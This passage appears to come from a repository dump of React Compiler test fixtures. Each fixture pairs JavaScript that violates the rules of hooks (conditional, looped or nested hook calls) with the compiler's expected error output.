    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let i = 0;\n  for (let x = 0; useHook(x) < 10; useHook(i), x++) {\n    i += useHook(x);\n  }\n  return i;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: Unexpected empty block with `goto` terminal\n\nBlock bb5 is empty.\n\nerror.invalid-hook-for.ts:3:2\n  1 | function Component(props) {\n  2 |   let i = 0;\n> 3 |   for (let x = 0; useHook(x) < 10; useHook(i), x++) {\n    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 4 |     i += useHook(x);\n    | ^^^^^^^^^^^^^^^^^^^^\n> 5 |   }\n    | ^^^^ Unexpected empty block with `goto` terminal\n  6 |   return i;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-for.js",
    "content": "function Component(props) {\n  let i = 0;\n  for (let x = 0; useHook(x) < 10; useHook(i), x++) {\n    i += useHook(x);\n  }\n  return i;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({data}) {\n  const useMedia = useVideoPlayer();\n  const foo = useMedia();\n  return foo;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n\nerror.invalid-hook-from-hook-return.ts:3:14\n  1 | function useFoo({data}) {\n  2 |   const useMedia = useVideoPlayer();\n> 3 |   const foo = useMedia();\n    |               ^^^^^^^^ Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n  4 |   return foo;\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.js",
    "content": "function useFoo({data}) {\n  const useMedia = useVideoPlayer();\n  const foo = useMedia();\n  return foo;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({data}) {\n  const player = useVideoPlayer();\n  const foo = player.useMedia();\n  return foo;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n\nerror.invalid-hook-from-property-of-other-hook.ts:3:14\n  1 | function useFoo({data}) {\n  2 |   const player = useVideoPlayer();\n> 3 |   const foo = player.useMedia();\n    |               ^^^^^^^^^^^^^^^ Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n  4 |   return foo;\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.js",
    "content": "function useFoo({data}) {\n  const player = useVideoPlayer();\n  const foo = player.useMedia();\n  return foo;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-alternate.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = null;\n  if (props.cond) {\n  } else {\n    x = useHook();\n  }\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-hook-if-alternate.ts:5:8\n  3 |   if (props.cond) {\n  4 |   } else {\n> 5 |     x = useHook();\n    |         ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  6 |   }\n  7 |   return x;\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-alternate.js",
    "content": "function Component(props) {\n  let x = null;\n  if (props.cond) {\n  } else {\n    x = useHook();\n  }\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-consequent.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = null;\n  if (props.cond) {\n    x = useHook();\n  }\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-hook-if-consequent.ts:4:8\n  2 |   let x = null;\n  3 |   if (props.cond) {\n> 4 |     x = useHook();\n    |         ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  5 |   }\n  6 |   return x;\n  7 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-consequent.js",
    "content": "function Component(props) {\n  let x = null;\n  if (props.cond) {\n    x = useHook();\n  }\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nfunction Component() {\n  'use memo';\n  const f = () => {\n    const x = {\n      outer() {\n        const g = () => {\n          const y = {\n            inner() {\n              return useFoo();\n            },\n          };\n          return y;\n        };\n      },\n    };\n    return x;\n  };\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.invalid-hook-in-nested-function-expression-object-expression.ts:10:21\n   8 |           const y = {\n   9 |             inner() {\n> 10 |               return useFoo();\n     |                      ^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  11 |             },\n  12 |           };\n  13 |           return y;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.js",
    "content": "// @compilationMode:\"infer\"\nfunction Component() {\n  'use memo';\n  const f = () => {\n    const x = {\n      outer() {\n        const g = () => {\n          const y = {\n            inner() {\n              return useFoo();\n            },\n          };\n          return y;\n        };\n      },\n    };\n    return x;\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nfunction Component() {\n  'use memo';\n  const x = {\n    outer() {\n      const y = {\n        inner() {\n          return useFoo();\n        },\n      };\n      return y;\n    },\n  };\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.invalid-hook-in-nested-object-method.ts:8:17\n   6 |       const y = {\n   7 |         inner() {\n>  8 |           return useFoo();\n     |                  ^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |         },\n  10 |       };\n  11 |       return y;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.js",
    "content": "// @compilationMode:\"infer\"\nfunction Component() {\n  'use memo';\n  const x = {\n    outer() {\n      const y = {\n        inner() {\n          return useFoo();\n        },\n      };\n      return y;\n    },\n  };\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const {result} = Module.useConditionalHook?.() ?? {};\n  return result;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-hook-optional-methodcall.ts:2:19\n  1 | function Component() {\n> 2 |   const {result} = Module.useConditionalHook?.() ?? {};\n    |                    ^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  3 |   return result;\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.js",
    "content": "function Component() {\n  const {result} = Module.useConditionalHook?.() ?? {};\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const {result} = Module?.useConditionalHook() ?? {};\n  return result;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-hook-optional-property.ts:2:19\n  1 | function Component() {\n> 2 |   const {result} = Module?.useConditionalHook() ?? {};\n    |                    ^^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  3 |   return result;\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.js",
    "content": "function Component() {\n  const {result} = Module?.useConditionalHook() ?? {};\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const {result} = useConditionalHook?.() ?? {};\n  return result;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-hook-optionalcall.ts:2:19\n  1 | function Component() {\n> 2 |   const {result} = useConditionalHook?.() ?? {};\n    |                    ^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  3 |   return result;\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.js",
    "content": "function Component() {\n  const {result} = useConditionalHook?.() ?? {};\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-reassigned-in-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let y;\n  props.cond ? (y = useFoo) : null;\n  return y();\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-hook-reassigned-in-conditional.ts:3:20\n  1 | function Component(props) {\n  2 |   let y;\n> 3 |   props.cond ? (y = useFoo) : null;\n    |                     ^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  4 |   return y();\n  5 | }\n  6 |\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-hook-reassigned-in-conditional.ts:3:16\n  1 | function Component(props) {\n  2 |   let y;\n> 3 |   props.cond ? (y = useFoo) : null;\n    |                 ^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  4 |   return y();\n  5 | }\n  6 |\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-hook-reassigned-in-conditional.ts:4:9\n  2 |   let y;\n  3 |   props.cond ? (y = useFoo) : null;\n> 4 |   return y();\n    |          ^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-reassigned-in-conditional.js",
    "content": "function Component(props) {\n  let y;\n  props.cond ? (y = useFoo) : null;\n  return y();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-1b9527f967f3.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHookInLoops() {\n  while (a) {\n    useHook1();\n    if (b) return;\n    useHook2();\n  }\n  while (c) {\n    useHook3();\n    if (d) return;\n    useHook4();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 4 errors:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-1b9527f967f3.ts:7:4\n   5 | function useHookInLoops() {\n   6 |   while (a) {\n>  7 |     useHook1();\n     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   8 |     if (b) return;\n   9 |     useHook2();\n  10 |   }\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-1b9527f967f3.ts:9:4\n   7 |     useHook1();\n   8 |     if (b) return;\n>  9 |     useHook2();\n     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  10 |   }\n  11 |   while (c) {\n  12 |     useHook3();\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-1b9527f967f3.ts:12:4\n  10 |   }\n  11 |   while (c) {\n> 12 |     useHook3();\n     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  13 |     if (d) return;\n  14 |     useHook4();\n  15 |   }\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-1b9527f967f3.ts:14:4\n  12 |     useHook3();\n  13 |     if (d) return;\n> 14 |     useHook4();\n     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  15 |   }\n  16 | }\n  17 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-1b9527f967f3.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHookInLoops() {\n  while (a) {\n    useHook1();\n    if (b) return;\n    useHook2();\n  }\n  while (c) {\n    useHook3();\n    if (d) return;\n    useHook4();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-2aabd222fc6a.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    useConditionalHook();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-2aabd222fc6a.ts:7:4\n   5 | function ComponentWithConditionalHook() {\n   6 |   if (cond) {\n>  7 |     useConditionalHook();\n     |     ^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   8 |   }\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-2aabd222fc6a.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    useConditionalHook();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-49d341e5d68f.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useLabeledBlock() {\n  label: {\n    if (a) break label;\n    useHook();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-49d341e5d68f.ts:8:4\n   6 |   label: {\n   7 |     if (a) break label;\n>  8 |     useHook();\n     |     ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |   }\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-49d341e5d68f.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useLabeledBlock() {\n  label: {\n    if (a) break label;\n    useHook();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-79128a755612.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction ComponentWithHookInsideLoop() {\n  while (cond) {\n    useHookInsideLoop();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-79128a755612.ts:7:4\n   5 | function ComponentWithHookInsideLoop() {\n   6 |   while (cond) {\n>  7 |     useHookInsideLoop();\n     |     ^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   8 |   }\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-79128a755612.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction ComponentWithHookInsideLoop() {\n  while (cond) {\n    useHookInsideLoop();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  if (a) return;\n  if (b) {\n    console.log('true');\n  } else {\n    console.log('false');\n  }\n  useState();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-9718e30b856c.ts:12:2\n  10 |     console.log('false');\n  11 |   }\n> 12 |   useState();\n     |   ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  13 | }\n  14 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  if (a) return;\n  if (b) {\n    console.log('true');\n  } else {\n    console.log('false');\n  }\n  useState();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9bf17c174134.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  a && useHook1();\n  b && useHook2();\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-9bf17c174134.ts:6:7\n  4 | // This *must* be invalid.\n  5 | function useHook() {\n> 6 |   a && useHook1();\n    |        ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |   b && useHook2();\n  8 | }\n  9 |\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-9bf17c174134.ts:7:7\n  5 | function useHook() {\n  6 |   a && useHook1();\n> 7 |   b && useHook2();\n    |        ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9bf17c174134.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  a && useHook1();\n  b && useHook2();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-b4dcda3d60ed.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction ComponentWithTernaryHook() {\n  cond ? useTernaryHook() : null;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-b4dcda3d60ed.ts:6:9\n  4 | // This *must* be invalid.\n  5 | function ComponentWithTernaryHook() {\n> 6 |   cond ? useTernaryHook() : null;\n    |          ^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-b4dcda3d60ed.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction ComponentWithTernaryHook() {\n  cond ? useTernaryHook() : null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-c906cace44e9.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  if (a) return;\n  useState();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-c906cace44e9.ts:7:2\n  5 | function useHook() {\n  6 |   if (a) return;\n> 7 |   useState();\n    |   ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-c906cace44e9.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  if (a) return;\n  useState();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d740d54e9c21.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction normalFunctionWithConditionalHook() {\n  if (cond) {\n    useHookInsideNormalFunction();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-d740d54e9c21.ts:7:4\n   5 | function normalFunctionWithConditionalHook() {\n   6 |   if (cond) {\n>  7 |     useHookInsideNormalFunction();\n     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   8 |   }\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d740d54e9c21.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction normalFunctionWithConditionalHook() {\n  if (cond) {\n    useHookInsideNormalFunction();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d85c144bdf40.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHookInLoops() {\n  while (a) {\n    useHook1();\n    if (b) continue;\n    useHook2();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-d85c144bdf40.ts:7:4\n   5 | function useHookInLoops() {\n   6 |   while (a) {\n>  7 |     useHook1();\n     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   8 |     if (b) continue;\n   9 |     useHook2();\n  10 |   }\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-d85c144bdf40.ts:9:4\n   7 |     useHook1();\n   8 |     if (b) continue;\n>  9 |     useHook2();\n     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  10 |   }\n  11 | }\n  12 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d85c144bdf40.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHookInLoops() {\n  while (a) {\n    useHook1();\n    if (b) continue;\n    useHook2();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-ea7c2fb545a9.expect.md",
